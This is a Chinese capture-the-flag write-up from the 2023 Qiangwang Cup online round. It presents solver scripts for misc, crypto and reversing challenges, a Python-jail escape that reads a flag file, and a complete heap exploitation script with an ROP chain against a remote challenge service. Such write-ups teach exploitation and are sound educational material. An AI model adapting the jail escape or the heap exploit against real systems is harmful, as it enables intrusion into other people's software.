2023第七届强网杯线上赛WriteUp|Part2

admin 2023年12月20日14:03:43评论85 views字数 18173阅读60分34秒阅读模式

MISC

Pyjail ! It's myFILTER !!!

open函数没过滤,直接读取文件,发现flag在环境变量中:

2023第七届强网杯线上赛WriteUp|Part2

easyfuzz

先手工交互一下,发现只要满足长度是9位,code coverage前两位就是11,剩下的一次爆破即可,下面是爆破脚本:

from pwn import *
from string import printable
import re
import time
# context.log_level = "debug"
p = remote("101.200.122.251",12177)
for t in printable:
    print(t)
    time.sleep(0.5)
    p.recvuntil(b'Enter a string (should be less than 10 bytes): ')
    # send_data = "11qwbG{}34".format(t)
    send_data = "11qwbGo{}4".format(t)
    p.sendline(send_data)
    p.recvuntil(b'code coverage')
    data = p.recv().decode()

    coverage_code = re.findall(": (d+)",data)[0]
    if "11111111" in coverage_code:
        print("found!")
        print(send_data)
        break
p.interactive()


# Enter a string (should be less than 10 bytes): Here is your code coverage: 000000000
# Please try again. If you can reach all 1 in the coverage, you will win!
# Enter a string (should be less than 10 bytes): 11qwbGood
# Congrats! Here is your flag: qwb{YouKnowHowToFuzz!}


谍影重重2.0

分析协议都是 tcp 的,分析无果,被题目描述误导,陷入误区,以为是战机,J-20、J-10、Y-20,都不对

用 tshark 处理

tshark -r attach.pcapng -T json > ICAO.json

用脚本处理

# -*- coding: utf-8 -*-
import json
import pyModeS as pms
with open('ICAO.json''r', encoding='utf-8'as file:
    data = json.load(file)
info = []
for packet in data:
    if 'layers' in packet['_source'and 'tcp' in packet['_source']['layers']:
        tcp_layer = packet['_source']['layers']['tcp']
        if 'tcp.payload' in tcp_layer:
            tcp_payload = tcp_layer['tcp.payload'].replace(':''')
            info.append(tcp_payload)
data1 = []
for i in info:
    msg = i[18:]
    if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22:
        icao = pms.adsb.icao(msg)
        velocity_info = pms.adsb.velocity(msg)
        speed, track, vertical_rate, _ = velocity_info
        information = {"icao": icao, "speed": speed, "track": track, "vertical_rate": vertical_rate}
        data1.append(information)
fast = max(data1, key=lambda x: x['speed'])
print((fast['icao'].upper().encode()))
2023第七届强网杯线上赛WriteUp|Part2

结果为 79A05E

搜索得到

2023第七届强网杯线上赛WriteUp|Part2

进行 md5

2023第七届强网杯线上赛WriteUp|Part2

MD5 ("79A05E") = 4cf6729b9bc05686a79c1620b0b1967b

flag{4cf6729b9bc05686a79c1620b0b1967b}

签到

直接复制得到flag

Pyjail ! It's myRevenge

思路:使用海象表达式替换过滤函数和len函数,使判断永真,再通过input来接收输入,再用ssti常用手法获取flag

import socket
import time

s = socket.socket()
s.connect(("8.147.128.227",33692))
time.sleep(1)
s.recv(140000).decode()
s.send(b'''[{(len:=any)},{(my_filter:=str)is 1},{"{INPUT()}".lower()}]n''')
# s.send(b'{print("".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["__builtins__"]["__import__"]("os").listdir("./"))}n')
s.send(b'{print(open("flag_AB92FD8E1A0806F595061E295FED93D8F560E5EEEAFBCB764BB1D3E0EB6E8083").read())}n')
time.sleep(0.5)
print(s.recv(20240).decode())
2023第七届强网杯线上赛WriteUp|Part2
问卷调查

回答问题得到flag

Crypto

babyrsa

第一眼是个Wiener,然后p-q的低位为0所以感觉可以Coppersmith,不过试了一下不行。

然后找到两篇论文,对着论文抄一遍即可

https://eprint.iacr.org/2021/1632

https://www.sciencedirect.com/science/article/abs/pii/S0304397523002116

#!/usr/bin/env sage

from Crypto.Util.number import isPrime, inverse, long_to_bytes
from random import getrandbits, randrange
from collections import namedtuple
from gmpy2 import iroot

Complex = namedtuple("Complex", ["re""im"])

def complex_mult(c1, c2, modulus):
    return Complex(
        (c1.re * c2.re - c1.im * c2.im) % modulus,
        (c1.re * c2.im + c1.im * c2.re) % modulus,
    )

def complex_pow(c, exp, modulus):
    result = Complex(10)
    while exp > 0:
        if exp & 1:
            result = complex_mult(result, c, modulus)
        c = complex_mult(c, c, modulus)
        exp >>= 1
    return result

n = 591143727706634512649148024939759359125332935965941339741301978100443626383764927192405352906265750441870484772597124866948416540051132797882766876525721890148417364187305274504045823909525810653621572555356644898701170387745996604627164605007922178682643820283078770381294378888391241362701866218417
e = 286946467444242125329232917366005482758108555562774407977935741707895065443551620433804352056018479543399936884283530961542517475681912633594516017006078645316684486996756770475826189189863772520489210693019367686071424252294502612171368401536443115059090019686947917579310650427245795515739689571717195342905189116070822202985869406209819001354794867213391783564718632331851210595177019029809911030842175529435093135302899375148321696495849291318040755489943683469106936515633912280068318274552872682582057701665040704440982616977621678524771480018759950866149932684370941131288823828567953532010239
c = Complex(re=466945074314394618048804903430146870407477348092856785114352121347573765297276603523823356061058665588358168906592812014840355312975623615872669350475423336999911145662063168579527228973092663141715593574293676068879530756106740387499946781859474224812941258752096544261250573356872425877525845188509, im=539172679356466036153667427018194773623808764616135073906943348291977037250808294837529529613499717611287613222519742317858999188657402414805409046190891945128148002520616896558562883270550640806765061686359425281201226450591985013283011470643176844774957570392307535783368083398557427779492426758982)

print(n)
print(e)

r = 100
#u0 = Integer(-Zmod(2^r)(n).nth_root(2))
u0s = Zmod(2^r)(n).nth_root(2, all=True)
print(u0s)
for u0 in u0s:
  print(u0)
  u0 = Integer(u0)
  v0 = Integer(( 2 * u0 + (n - u0^2) * u0.inverse_mod(2^(2*r)) ) % 2^(2*r))
  a1 = v0 * (2^(2*r-1)).inverse_mod(e) % e
  a2 = -((n+1)^2 - v0^2) * (2^(4*r)).inverse_mod(e) % e
  a3 = -1 * (2^(4*r)).inverse_mod(e) % e
  X = Integer(2 * n^0.7)
  Y = Integer(3 * n^0.3)

  load('./copper.sage')
  PR.<x, y> = PolynomialRing(ZZ)
  f = x * y^2 + a1 * x * y + a2 * x + a3
  res = lattice_attack(PR, f, e, 43, X, Y)
  if res:
    print(res)
    break

k, v = res[0]

r = 100
ppq = 2^(2*r) * v + v0
pmq = ppq^2 - 4 * n
pmq = iroot(pmq, 2)
assert pmq[1]
pmq = Integer(pmq[0])
p = (ppq + pmq) // 2
q = n // p
assert p * q == n

phi = (p^2-1) * (q^2-1)
d = e.inverse_mod(phi)

m = complex_pow(c, d, n)
print(m)
flag = b''.join([long_to_bytes(mi) for mi in list(m)])
print(flag)


'''
[(149639950165401370800040220223187826523021045890365249443622785517178686078823694521646436258083914747634419055968718717943496892995631611456804659803012934359813236394143368904438436233733641937238021358755752, 957733246901790769061173211294976823448907733389188013192768616756978467669504039559041133)]
Complex(re=2284117282070459085219909197928661795481074017, im=1164185736764860305066816661603110168167004285)
b'flag{081613a301e49a442dfed994daba0c98}'
'''

忘了哪个比赛抄来魔改的copper.sage:

def matrix_overview(BB):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            if BB[ii, jj] == 0:
                a += ' '
            else:
                a += 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        print(a)

def lattice_attack(PR, pol, e, mm, tt, X, Y):
    x, y = PR.gens()
    polys = []
    dd = pol.degree()

    for s in range(mm + 1):
      for i in range(s, mm+1):
        for j in range(2*s, 2*s+1+1):
            poly = x^(i-s) * y^(j-2*s) * pol^s * e^(mm-s)
            polys.append(poly)

    for s in range(mm + 1):
        i = s
        for j in range(2*s+22*s+tt+1):
            poly = x^(i-s) * y^(j-2*s) * pol^s * e^(mm-s)
            polys.append(poly)

    polys = sorted(polys)
    monomials = []
    for poly in polys:
        monomials += poly.monomials()
    monomials = sorted(set(monomials))
    dims1 = len(polys)
    dims2 = len(monomials)
    M = matrix(QQ, dims1, dims2)

    for ii in range(dims1):
        M[ii, 0] = polys[ii](00)
        for jj in range(dims2):
            if monomials[jj] in polys[ii].monomials():
                M[ii, jj] = polys[ii](x * X, y * Y).monomial_coefficient(monomials[jj])
    
    matrix_overview(M)
    print('=' * 128)
    print(len(M.rows()), len(M.columns()))
    #M = M.hermite_form()
    B = M.LLL()
    print('LLL done')

    det = B.det()
    print(det == 0)
    print(f"monomials: {monomials}")
    nn = len(monomials)
    matrix_overview(B)
    H = [(i, 0for i in range(dims1)]
    H = dict(H)
    for j in range(dims2):
        for i in range(dims1):
            H[i] += (monomials[j] * B[i, j]) / monomials[j](X, Y)
    
    PQ.<q> = PolynomialRing(ZZ)
    H = list(H.values())
    solutions = []
    print(len(H))
    #for i in range(len(H)//2):
    for i in range(5):
        #for j in range(i + 1, len(H)//2):
        for j in range(i + 15):
            pol1 = PR(H[i])
            pol2 = PR(H[j])
            rr = pol1.resultant(pol2, y)
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            sols = rr(q, q).roots()
            for sol in sols:
                solx = sol[0]
                if solx == -1:
                    continue
                try:
                    soly = pol1(solx, q).roots()[0][0]
                    solutions.append((solx, soly))
                    print('=' * 128)
                except:
                    pass
                if len(solutions) > 0:
                    break
            if len(solutions) > 0:
                break
        if len(solutions) > 0:
            break
    return solutions

not only rsa

n是素数次方,分解后发现e和phi不互素,AMM或nth_root解之。

#!/usr/bin/env
n = 6249734963373034215610144758924910630356277447014258270888329547267471837899275103421406467763122499270790512099702898939814547982931674247240623063334781529511973585977522269522704997379194673181703247780179146749499072297334876619475914747479522310651303344623434565831770309615574478274456549054332451773452773119453059618433160299319070430295124113199473337940505806777950838270849
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
p = 91027438112295439314606669837102361953591324472804851543344131406676387779969
assert n == p^5

phi = p^4 * (p-1)
print(gcd(e, phi))
print(gcd(e, phi//e))

import libnum
# https://tover.xyz/p/n-root-in-F/
load('./nth.sage')
res = nthRSA_p(c, e, p, 5)
for r in res:
  flag = libnum.n2s(int(r))
  if b'flag' in flag:
    print(r)
    print(flag)

# flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}

discrete_log

素数是强素数没啥漏洞,题目给了个flag,直接交不对,然后发现这个flag其实是个脑洞,意思是提示flag里面是一串长度不长的十六进制字符串。。。

直接枚举不出来,怼了个Meet in Middle

首先可以把flag分拆成前中后3段

mh: flag{
mm: unknown
ml: } + padding

然后只有mm是需要爆破的未知数,假设未知的mm个字符,代进原来的DLP问题就可以得到

这样看有点复杂,不妨令

就可以简化为

然后这里继续把切割成高位半的(低位补上0)和低位一半的,就得到

注意这里因为,所以不能直接取的逆元,由于这里的阶大概率不是,所以可以大胆地直接用为阶取逆元

然后令

就是

到这里就可以用做Meet in Middle爆破

最后爆出来的长度为i=12,并不是题目给的flag中的14,如果是14的话估计要爆半天。。。

#!/usr/bin/env sage
p = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299
q = 86691953673185094123317176721257085815441106321509913353287560318524418030801017388068480040168175626308430261136822215963954550961903957470198710031793956540396921050132242111105639052891610105064076031165477438213703242350996557697653217032333568074180779425999009903159899722485351857297469411330465671649
assert p == 2 * q + 1

g = 5
c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854

print(p.nbits())

from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from tqdm import tqdm
import itertools
import string


#for i in range(128-6):
i = 14
i = 12
#i = 10
#i = 8
#i = 4
print(i)

fake = 'flag{%s}' % ('a' * i)
print(fake)
ml = Integer(bytes_to_long(pad(fake.encode(), 128)[5+i:]))
mh = Integer(bytes_to_long(b'flag{'))

'''
c = pow(g, bytes_to_long(pad(fake.encode(), 128)), p)
j = Integer(bytes_to_long(b'aa'))
k = Integer(bytes_to_long(b'aax00x00'))
B = 2^(1024-40-8*i) % (p-1)
A = pow(g, mh * 2^(1024-40) + ml, p)
A = Integer(A).inverse_mod(p) * c % p
A = pow(A, B.inverse_mod(q), p)
ginv = g.inverse_mod(p)
print(pow(g, j, p) % p)
print(pow(ginv, k, p) * A % p)
print(j, k)
'''


n = 16^(i//2)
List = set()
Lj = {}
B = 2^(1024-40-8*i) % (p-1)
A = pow(g, mh * 2^(1024-40) + ml, p)
A = Integer(A).inverse_mod(p) * c % p
A = pow(A, (B).inverse_mod(q), p)
for j in tqdm(itertools.product(string.hexdigits[:16], repeat=i//2), total=int(16^(i//2))):
  j = bytes_to_long(''.join(j).encode())
  lj = pow(g, j, p)
  List.add(lj)
  Lj[lj] = j

ginv = g.inverse_mod(p)
for k in tqdm(itertools.product(string.hexdigits[:16], repeat=i//2), total=int(16^(i//2))):
  k = bytes_to_long((''.join(k)+'x00'*(i//2)).encode())
  lk = pow(ginv, k, p) * A % p
  if lk in List:
    print(k, lk)
    break

j = Lj[lk] 
flag = long_to_bytes(k + j)
flag = 'flag{%s}' % flag.decode()
print(flag)

  
'''
1024
12
flag{aaaaaaaaaaaa}
100%|████████████████| 16777216/16777216 [15:03<00:00, 18563.12it/s]
 38%|██████▌          | 6416198/16777216 [10:32<16:46, 10298.31it/s]16771905891018463815302905856 135529567858850443107510144315754681449995927325397869726845551407254736955982955315931298476445549398904618225678737565918473822963060588935860022359594391409973542725505768767829857404385071260684422207579208358076457034566480966492187698885320727337820205594291169458111117508529532766504392148482781992555
 38%|██████▌          | 6416384/16777216 [10:32<17:00, 10150.39it/s]
flag{61e8007dd65f}
'''


PS:这里其实还能继续做优化,因为这里的pow幂运算里面会有重复的乘法运算,而普通的Meet in Middle会把这种幂运算优化掉,最后只剩下乘法运算,但这里爆破的是字符就不太好操作

Reverse

ezre

控制流平坦化混淆,但是仅实现了一个SM4(搜数组常量可知):

2023第七届强网杯线上赛WriteUp|Part2

向上交叉引用能找到密钥和密文都在sub_3580中,对明文进行了padding和SM4加密:

2023第七届强网杯线上赛WriteUp|Part2

尝试直接SM4解密,得到flag:

from gmssl.sm4 import *

key = []
key += list(0xEFCDAB8967452301.to_bytes(8'little'))
key += list(0xEFCDAB8967452301.to_bytes(8'little'))
enc = []
enc += list(0x7C88631647197506.to_bytes(8'little'))
enc += list(0x4A0D7D3FFF55668B.to_bytes(8'little'))
enc += list(0xDEC2E93F384ED2F5.to_bytes(8'little'))
enc += list(0x3C1FB1746F7F7CDB.to_bytes(8'little'))
s = CryptSM4(padding_mode=3)
s.set_key(bytes(key), SM4_DECRYPT)
flag = s.crypt_ecb(bytes(enc))
print(flag)

# b'flag{h3kk0_w0rld_sur3_3n0ugh}x00x00x00'

Flag:flag{h3kk0_w0rld_sur3_3n0ugh}

dotdot

2023第七届强网杯线上赛WriteUp|Part2

前面AES函数是Chow等人的AES白盒密码方案实现,根据实现代码,Program.v14是TBoxes,通过TBoxes恢复主密钥QWB2023HappyGame(https://github.com/pol4bear/whitebox-aes/blob/master/main.cpp):

2023第七届强网杯线上赛WriteUp|Part2

从main的比对解密得出输入即RC4的密钥为WelcomeToQWB2023:

from Crypto.Cipher import AES

with open('a.bin''rb'as f:
    data = f.read()
print(data)
# b"ax931{xf8x96xe0x00xa5'xb77Jxe3x03xa8"

key = b'QWB2023HappyGame'
aes = AES.new(key, AES.MODE_ECB)
inp = aes.decrypt(data)
print(inp)
# b'WelcomeToQWB2023'

RC4解密原Lincese.dat得到反序列化报错的二进制序列:

from arc4 import ARC4

with open('License.dat''rb'as f:
    data = f.read()

key = b'WelcomeToQWB2023'
rc4 = ARC4(key)
ans = rc4.encrypt(data)

with open('License_res.dat''wb'as f:
    f.write(ans)

写个C#读取发现报错偏移在660:

2023第七届强网杯线上赛WriteUp|Part2

可以看到这一部分被0覆盖,且06 06 / 06 07与字符串的序列化类似,计算一下剩余的空间可得这里少了长度分别为21和16的字符串,前后可知这里调了FFF函数

2023第七届强网杯线上赛WriteUp|Part2

FFF(a, b)中,a为输入,只剩下b未知,可从FFF(即TEA)的比对中解密倒推解出b:

#include <stdio.h>
#include <stdint.h>

void decrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 3735928559 * 32;
    uint32_t delta = 3735928559;
    for (uint32_t i = 0; i < 32; i++) {
        v1 -= ((v0<<4) + k[2]) ^ (v0 + sum) ^ ((v0>>5) + k[3]);
        v0 -= ((v1<<4) + k[0]) ^ (v1 + sum) ^ ((v1>>5) + k[1]);
        sum -= delta;
    }
    v[0]=v0; v[1]=v1;
    return;
}
 
int main()
{
    uint32_t v[7] = {56490144525332560572986614108179048615432072625171795412759};
    uint8_t k[16] = "WelcomeToQWB2023";
    for (int i = 0; i < 6; i += 2) decrypt((uint32_t *)&v[i], k);
    printf("%sn", v);
    return 0;
}

2023第七届强网杯线上赛WriteUp|Part2

b长度刚好为21,填回Lincese.dat(0x15和0x10是长度),RC4重新加密以后再跑dotdot.exe即可得到flag,同时FFF函数中有对License哈希的判断(判断是否改对的辅助)

2023第七届强网杯线上赛WriteUp|Part2

from arc4 import ARC4

with open('License_res.dat''rb'as f:
    data = f.read()

key = b'WelcomeToQWB2023'
rc4 = ARC4(key)
ans = rc4.encrypt(data)

with open('License.dat''wb'as f:
    f.write(ans)

2023第七届强网杯线上赛WriteUp|Part2

Flag:flag{d0tN3t_I5_Ea57_2_y09!G00d_Luck}

PWN

warmup23

from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
libc=ELF('libc.so.6')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
#p=process('./warmup',env={'LD_PRELOAD':'./libc.so.6'})
#p=process('./warmup')
p=remote('120.24.69.11',12700)
def add(size,data):
 p.recvuntil('>> ')
 p.sendline('1')
 p.recvuntil('Size: ')
 p.sendline(str(size))
 p.recvuntil('Note: ')
 p.send(str(data))

def delete(id):
 p.recvuntil('>> ')
 p.sendline('3')
 p.recvuntil('Index: ')
 p.sendline(str(id))
def show(id):
 p.recvuntil('>> ')
 p.sendline('2')
 p.recvuntil('Index: ')
 p.sendline(str(id))
 

add(0x4d40,'a'*0x4d0#0

add(0x500,'x00'*0x410#1
add(0xf8,'c'#2
add(0xf8,'c'#3
add(0x4f0,'c'*0x410#4
add(0x10,'c'#5
add(0x510,'c'*0x410#6
add(0x10,'b'#7
add(0x500,'c'*0x410#8
add(0xf0,'b'#9
pay=p64(0)+p32(0x5a1+0x160)+'x00x00'
delete(6)
delete(4)
delete(1)

add(0xf10,'c'*0x410#1

add(0x500,pay) #4
add(0x4f0,'d'*8+'x10'#6
add(0x510,'d'#10

delete(8)
delete(10)
add(0xf10,'c'*0x410#8
add(0x510,'x10'#10
delete(3)
add(0xf8,'a'*0xf0+p64(0x5a0+0x160)) #3
#add(0xf10,'c'*0x410)
delete(6)



add(0x4f0,'x10'#5
add(0x4f0,'x10'#11
show(2)
p.recvuntil('Note: ')

leak=u64(p.recv(6).ljust(8,'x00'))
print hex(leak)
libcbase=leak-(0x7ffff7faece0-0x00007ffff7d95000)



add(0x10,'x10'#12
delete(12)
show(2)
p.recvuntil('Note: ')

leak=u64(p.recv(5).ljust(8,'x00'))
heap=leak<<12

free=libcbase+0x219098-0x8

setcontext=libcbase+0x053A1D
free1=free^leak
delete(9)
delete(3)

poprdi=libcbase+0x000000000002a3e5
poprsi=libcbase+0x000000000002be51
poprdx=libcbase+0x00000000000796a2
syscall=libcbase+0x01145F0
poprax=libcbase+0x0000000000045eb0
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
pay=p64(heap+0x620)+p64(poprsi)+p64(4)+p64(poprax)+p64(2)+p64(syscall)
pay+=p64(poprdi)+p64(3)+p64(poprsi)+p64(heap)+p64(poprdx)+p64(0x40)+p64(read)
pay+=p64(poprdi)+p64(1)+p64(poprdx)+p64(0x40)+p64(write)

pay=pay.ljust(0xd8,'a')+p64(0x101)+p64(free1)+p64(0)
add(0x160,pay) #12
add(0xf0,'./flag'#12
#
print hex(free)
print hex(heap)
print hex(libcbase)




#gdb.attach(p,'b *0x000055555555581anb *'+str(setcontext))
#raw_input()

pay='1'*8+p64(setcontext)+'a'*0x90+p64(heap+0x540)+p64(poprdi)

add(0xf8,pay) #12
p.interactive()

原文始发于微信公众号(山石网科安全技术研究院):2023第七届强网杯线上赛WriteUp|Part2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月20日14:03:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023第七届强网杯线上赛WriteUp|Part2https://cn-sec.com/archives/2319854.html

发表评论

匿名网友 填写信息